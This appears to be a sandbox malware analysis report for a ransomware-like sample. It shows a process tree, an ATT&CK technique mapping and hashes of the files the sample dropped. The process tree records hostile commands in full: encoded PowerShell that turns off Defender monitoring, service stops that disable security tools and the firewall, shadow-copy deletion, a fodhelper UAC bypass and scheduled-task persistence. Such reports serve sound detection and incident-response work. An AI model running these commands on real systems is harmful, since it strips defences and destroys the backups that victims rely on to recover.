C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5684,i,659011326697274576,2753609637796921223,262144 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5624 /prefetch:83⤵PID:6128
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1864
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5008
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4008
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2384
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3824
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4288
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2172
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4676
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3424
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:556
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2904
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4780
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:464
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:564
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5448
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4508
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4620
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5240 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4288
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:3740
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4268
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5728 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:2340
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5676 -
C:\Windows\system32\whoami.exewhoami3⤵PID:3632
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:892 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6012 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:6104
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5512 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6072
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5440 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:268
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5612
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5556
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5692
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5732
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5856 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3052
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4052
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5888
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5892
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:868
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:456
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:5304
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:5204
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1964
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:6072
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260808_002556.jpg
- Size 130KB
- SHA256 3e814a979298135b25fae6c73769eb506a952823d9dcfba1687a5d9fdc78470c
- MD5 95dcad15c4dab1b2af93c4cf92b0caad
- SHA1 3cd9b08349598591b1dec12e0f310cbd38868dd3
- SHA512 fc27a6b10b6c325d6533cd2baa16c9f9e72656e6e53655e71515f010fafc82173d536ae356a4a475a3e019e0c25f773b6709b7f5a89db3e0e882d23b4d6b8a4c
- SSDEEP 3072:pMMtrZOGvJdZ+0VMaoIU6lO35KpZKJAhsUFq:pMQtdMqOJabhsUFq
- TLSH T18ED3711398088F83A42DD3D5BE175EAD6F456B0CE88639FF04165ECB3F652224C9E16E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 9fb02a30ac385787f3330891fc91aea07294385be96f5489e10d0c7456c34b36
- MD5 7b9a2c9e9cd4d855b4b024ef2e87b2aa
- SHA1 255c12248ad0467663000902dc8b47a0789fcb5e
- SHA512 4ea614b0e86130777fa8580076b028f138d00a27f02303836c0c36d82ad87539441670c3eb35243093fe536e627210842842cc84f910ca3a64eb6042abd24956
- SSDEEP 1536:2BUpBBsLadcIlWtIP9J8IhADERtCET+PjXQQdLkeSYr+VcPEbec:2BUpByLadvlWmrdEER3EXQQGXYrhPEt
- TLSH T15F633B368F23FCD4677B3D80E0503C561D883E6B977526BCFA841DA518A6684DF3E4A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 601991fe8d4c9897282f27a4ecd1344f6f895093e5300903cf087491012f0fde
- MD5 0750fbd0e947e2b644a41500f08321c5
- SHA1 e64978af8a3961997ff3357a2234b1c443474384
- SHA512 aa6a525bda6cca8901e5a9088f650497da54919396cc6e21cf30c74c43e36fe84bbcaa51cccdae61f319a3b01571e55fbfdbfad63ce1db7cecef63bd1c88ed30
- SSDEEP 1536:WBUpBBsLadcIlWtIP9J8IhADERtCET+PjXQQdLkeSYr+VcPEbe/:WBUpByLadvlWmrdEER3EXQQGXYrhPEM
- TLSH T13E533B368B23FCD4677B3D80E0503C561D883E7B977526BCFA841DA528A5684DF3E4A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 2248c9cae25bc5c6a2586ad6173c7920efc5198e3e975e609f47e0b2a9378d20
- MD5 06598c4e8cce55d71a66241032227aa9
- SHA1 27b7b84d2dbe673e0b2d456c6e75109ea3e474b2
- SHA512 b8c7bcf988a0054102b62bfa632f82a1bbcc5a730781e1201339b01469b81d2b367f3871a717c0bee4b55cf2024591a4ca2521b2139a4b54c8c10bdb4f8acc45
- TLSH T126E02BA9DC21EC2B0CFD4B2D90544A45DB1113571760855F3A3C910C8FB46A7458AD9C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 264B
- SHA256 dc2169eab641eb12c63d254257c8168cfeaf653a4d23a58f69f0cdcf1136fa05
- MD5 9eced4c8bfaf6447ff35796f1bd0a0a5
- SHA1 8a2b2fc8e87a38880ec635f999dbc5eb24115a6c
- SHA512 67a56865cf6afac07dc56ef665c2719686189e7e7b1439c2f87dd89a8be2e0889b595298d44b8640bc769c47f0b7c0cc5d1e463cc8932880b3916112f19199e5
- TLSH T17CD0A9B094D4C2C1C74F3670246A0F857329A0D802208B324A8C0EB8A802EA85388AAB
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 5f958a6a7f3dec25b173dcead5694924c3f296eb537e851e3972db614b8589bd
- MD5 52104cb364b76cbb02acd08ba3a668f4
- SHA1 0b3110df8169300f159845ee95fb4e8343b811c1
- SHA512 c255b382ddb71db120a15088a1997e874bf99dfb7e345fad426f928dee5b2dbd531c026cd69fc186e7adb9c2ee9a47bf5255fba7989132ebc9024ef30f2d081d
- TLSH T102417CB3C7E8867D890156F4B7152E1FCE290E24536C3D5AC8D4AF1F67E28B5D20058E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 052a5318721672f0f1f34631d9312c5573dd1b6cc0069b1f860dce0b22c42f2f
- MD5 1d2e75003259c21a8ef834d5b1cc3a0c
- SHA1 3b9969e31d1d992ee9743968152c537efb977d8e
- SHA512 e98d2e98f46c5bddc5436ca9456b08ed85ce32a7032671045c294d95e013093a788503706738bc1de3f1808669918d9c9337114024029de72af48c58b5dfd88d
- SSDEEP 192:DzC4woshCDaIaEda+0sr1l1CB7/Hze3RiRRFPPD8:DzC4woshCDaIaEda+0M1l1CB7/Hze3RP
- TLSH T1CCF1CEF7C3E4892DC92696F49B517D1BCD1B0A2893183C66D9E4FF5BA7E2471E20060E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 8f380f513d5eea101fac842e8f575aea8aed812213ba28a761051c9b26584a97
- MD5 d0f1d2ae7f57cb3e6a34c11d2225babf
- SHA1 38cdec61f6d9cffeb64ba8fdf036941e61dbf4f7
- SHA512 1955763677f3f6ea7e853d5d4b5519007fc6ed54b5b886cfa977031325ac9ade403e2caf25e69f08353705eef31024ad478c1a081938095955897e3130bcc5cb
- SSDEEP 192:IRPE/DYM8HP9v7ApAPRp2U+9qHsb+WNnHCpjZ12vDUK7kw1VyIsnAUge:IRPELYF9kUX8kwit2rpDe
- TLSH T10742E72EFE11697F9CCBC229FA667753E7F5202560842E84EAFC892C24D75CC2227017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 5edd2341c279e4254b8e8404dc4fdd351ae408ed7c5914726a514ee838fea361
- MD5 f1ec8ccd1db89fcfc225546a7b7678b3
- SHA1 630033062c46336c0927937476f007bee730836d
- SHA512 a9b413482e207c6f802217518b6f2a4fbbeab63a40a7e053c88a2bd5c571253acf7d16bfe72f037f7cebddf5b6ce62c51f5701f494a2178c84c626121010729f
- SSDEEP 192:IRPEIK8HP9v7ApAPRp2U+9qHsb+WNnHCpjZ12QDUK7kwdVyIsnAUgraJ:IRPE29kUX8kwit22pLe
- TLSH T1A252D62EFD106A7F9CDAD229FA167753E7F5203560942E84EAFC892C29E75CC2217017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 15a6fe12e3489cae1c96b38ba5de6096cf6520825d9d3e23718cfb0ecbb1edd6
- MD5 4ecd781f1f73bc4a4a19868116972274
- SHA1 0321c7224a1b57687ddab2755586aa64757f34a3
- SHA512 20ea9ecc523f5bf19c7f9b2b067b031ddeb60cf058b34879fa5ff37a5c34eca80b7f1c7af435362a8ea8b5a4e8df4429b0102b3f73352fc341e2e02b72735cce
- SSDEEP 384:V7jxY7KxkXqKf/pUZNCgVLH2HfgsluX7pLuLcMvKXODx4+ErU31PHG0/dpS8gfmn:V3xY7KxkXqKf/pUZNCgVLH2HfgskX7p0
- TLSH T138720A67AC4C9E374F94D6CCDC177B4FADB5015B61E988A482FA9C1903D5BCA010A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 9e6b08ff7b1151fa4c5f27851ce5340bba53d509a1da15c60f19fa86ceaf91a1
- MD5 ffe5c67e3e737887a8489d917eded000
- SHA1 5f53405bc39690ec135e7c117668659ae6834ff4
- SHA512 5bb0792a954edb025dd3b7230eb19a7ecac47c2f014884645b9aeacb8771752955cfde0ef95fd7af4cfabde01575c57d127d86ea82a95af36b151b1a6a200e2a
- TLSH T156C01252C5267142C01703B864C3A4E8721CDF31DB1F334C42F45F22BC343328215155
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe595421.TMP
- Size 96B
- SHA256 9d750cd29b6cfb443b7bb1bde03df18b610d4b5575f1677817e50b1f8badb805
- MD5 e137aceb84682bd47230a56447000cb0
- SHA1 b8ce7abe0886fe4b87879edc6cf7b671bf1253a5
- SHA512 2a0e263b368e81e07c6dd77dc47f06ca6364fb31f91cb1a00278c1dc97eee5035b386c79165b707558f73ea1b662a575c36fb3d0a03736ae7ff4d262b01840de
- TLSH T104B022A0C02A2202C00303F028A082C83020EF30C3030222C2E00E2BCC22BA00328020
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 48b1592decf3b042f5e02f26a9f508e87b8147cc262f0790b99f205309280626
- MD5 8d9cce0e1fa8a285d449a2e427cca83f
- SHA1 1545ed2a6609194f126613b08364062a39bb8a06
- SHA512 1b3e3bfa5fe126cab4b59642b9f6f7e87163003d61941e034579c730fdd5c3bd323e885b7a4549502567ff77661f47f27da29ac07852d9fb35c4735c1ffaf986
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2O3pX60q3VumXwkA:jeuvBnhJsueMEGvIW1DcP2OxmVumXnA
- TLSH T11CD3874B3A743002EDE59A721CE054BB5E3C717D8F56A5D428B620588EF2863B63D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 7718a095d9cd0057568805df1acf5ab63a2012b999f7d3563b96dc6792294ac6
- MD5 ebc0d76f511588bad456efe83eefceaf
- SHA1 b52808b636e30e04815b28331f33b79e6d2bfbc4
- SHA512 6414b3909b8d1834b0d1a8265ca6e7ba6bb22c5cff6cf10481395f1c0260c600fff9f5f8927ea23e34cb8063998f01727966c773d1e7587d10c95adcf341a61f
- SSDEEP 6144:nVxKcvfHpY1X0AkL69mn8lN/9n9Jpam7Rkm1tYpBeh2BAo+:TKwPyX0Abk8lNVr9oBGcAo+
- TLSH T1DC3423394C75ED378CD8E73F706F2A2D2FF09966C918DC86C8C42B4877583905A88978
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 68c683721a202dcc4aff1ff26fb6390a1780e57e8d1be9463d73a131781eb3c7
- MD5 2d17f63c70a7089523e6a7b0a56bda7a
- SHA1 f29e1f0268c95785b9fe167aa3c2ac324a5b9153
- SHA512 9bb0093a62edeb3af3f5f836bd88c96f71729e43931f56e2a878a1f11264dc0afa2c8eddbdb37e8944463a08ca6678acd03f3d434cd7760e2690982922511884
- SSDEEP 3072:oeGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMB:sm7Rkm1tYpBeh2BAoB
- TLSH T1E9C3123B5D74EC375DB5A71EA08E0B1F1EF249A7C920DE92C8C85B0423E9BCD0A45A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 3c9fc5aee806c7eec46407e4366518b3ebdd5dd4b2e9f54e9a8afd4e2e502538
- MD5 8d327cb59a50b3e3a09eb551473dc599
- SHA1 7215ae53885e4aaec682a4571370d741d7aadcbf
- SHA512 3efdf53b7073a618f25afedf7b0860be1e5593866e0dfb9716400e1ef94e7fba581b8b2a86fa4b51624169872dab49e8aba8551c1f6ed461998e826ea651c29d
- SSDEEP 6144:NxKcvfHpY1X0AkL69mn8lN/9n9Jpam7Rkm1tYpBeh2BAo+:rKwPyX0Abk8lNVr9oBGcAo+
- TLSH T1D33423294C75ED375CD8E33F706F2A2E3FF19866D91898C2C9C06B886B6479457C8938
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 34cd5a9f83d634e00f19fcda69d234dd445e252200fbebafbb06a3d337a2cd5d
- MD5 6420e8aaa77db71864f1cc013d65981e
- SHA1 112c48c377495787ff0aa66509b0e5772dc2c554
- SHA512 49b7d09e9e452d03c082c26576e97949e7f00a5ce1fd351c14146534740c3ffbb584f9e09b4664eabc789a76110e53b0259633ec8f73e5e5f7bdd2b86fdfcd50
- SSDEEP 3072:AmGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:Sm7Rkm1tYpBeh2BAog
- TLSH T12FC3123B5D75EC3B5CB5A74EB48E0B1E2EF149A6C920DE92C8D85A0437F97CD0A44934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0q4tlia.frk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 007dc9a61031dd5b05af9c5f895cc3bc30793ed665f5163015462f59e2fcfda8
- MD5 ffc8d5eebac53c7e466c86a5de1e98a6
- SHA1 b1b153b532f5311ce1e010b52e28efac795111fa
- SHA512 9812f865da2cba5afa90b798eb695234998c749117b0d5a7a52dbc518b2befaa4f993cc12347d491cfda02e55a89e3caca7e2347cbc646adb962e73bf9159a12
- TLSH T166E0724BA108C5A90002A26BC1F28C4CD0E0A62D2A277E209AA0CC0E37A2CD698F2482
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 670b143247e2ac2d9bbf06996d192879ad23550f6ec3fd5a77a4d44304a275ca
- MD5 2e1b783b347b5acfa2646ff5bf5ad17a
- SHA1 7e0d9cf5f5a40dc9223f0196fae320d24db3b09f
- SHA512 9e174e1ef01ce9ea6e5576c9e0da8612598adda9f28f06a29c1893106afd014d749aa21319b2d339860e3b87682a029321eb2c04f7cc68d0322c9bd78f4623c8
- TLSH T142E07D4BA118C5990002616FC0F28C4CD1E0A62D2A276E209A50CC0E3792C9558F2482
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 177KB
- SHA256 82af1f1506ab84e28a5ec66043c9247c1911b1ef95f0bf7b0e569f101608d3c0
- MD5 03e63fa47d6365e2a7519031cd4c8f93
- SHA1 649745d063285027bde19aee3109d6fe26ef3f41
- SHA512 80d938ff9f77d76acd642a85d58edd9b2fcf18221a54e5d355942ca571c4e068dd6ba4e91fa4afaa0a165c2464f696efeec941ed8f21ec115768d3958d5cf931
- SSDEEP 3072:ov68d/3hAWSGEvrQyhJHC8H/na4ABHEX0wvxRKAu:n8d/xAWporQyiQ/naduETAu
- TLSH T11104B740D7B29F2A158356AF0C1337D5A47CF7F192ECD1FB20A6AF63F0668A6D218611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 177KB
- SHA256 b2972c1c5b3baa63a285ec6030d118de947ecf1b3c3133de32f7d1372124445d
- MD5 9a77f35ccc6f86f5438fe95cfdc85ce6
- SHA1 edf975da1fc90459a96d1b2cd12a2de79c205029
- SHA512 6b672dd6107ed8d901f1478a8ec717babcb9aca3af2be70bd2e2f0fac58e0b67a2b8b63063741c66a7df42c4e99143b450fa594e9f0293f388d1990dca722d9c
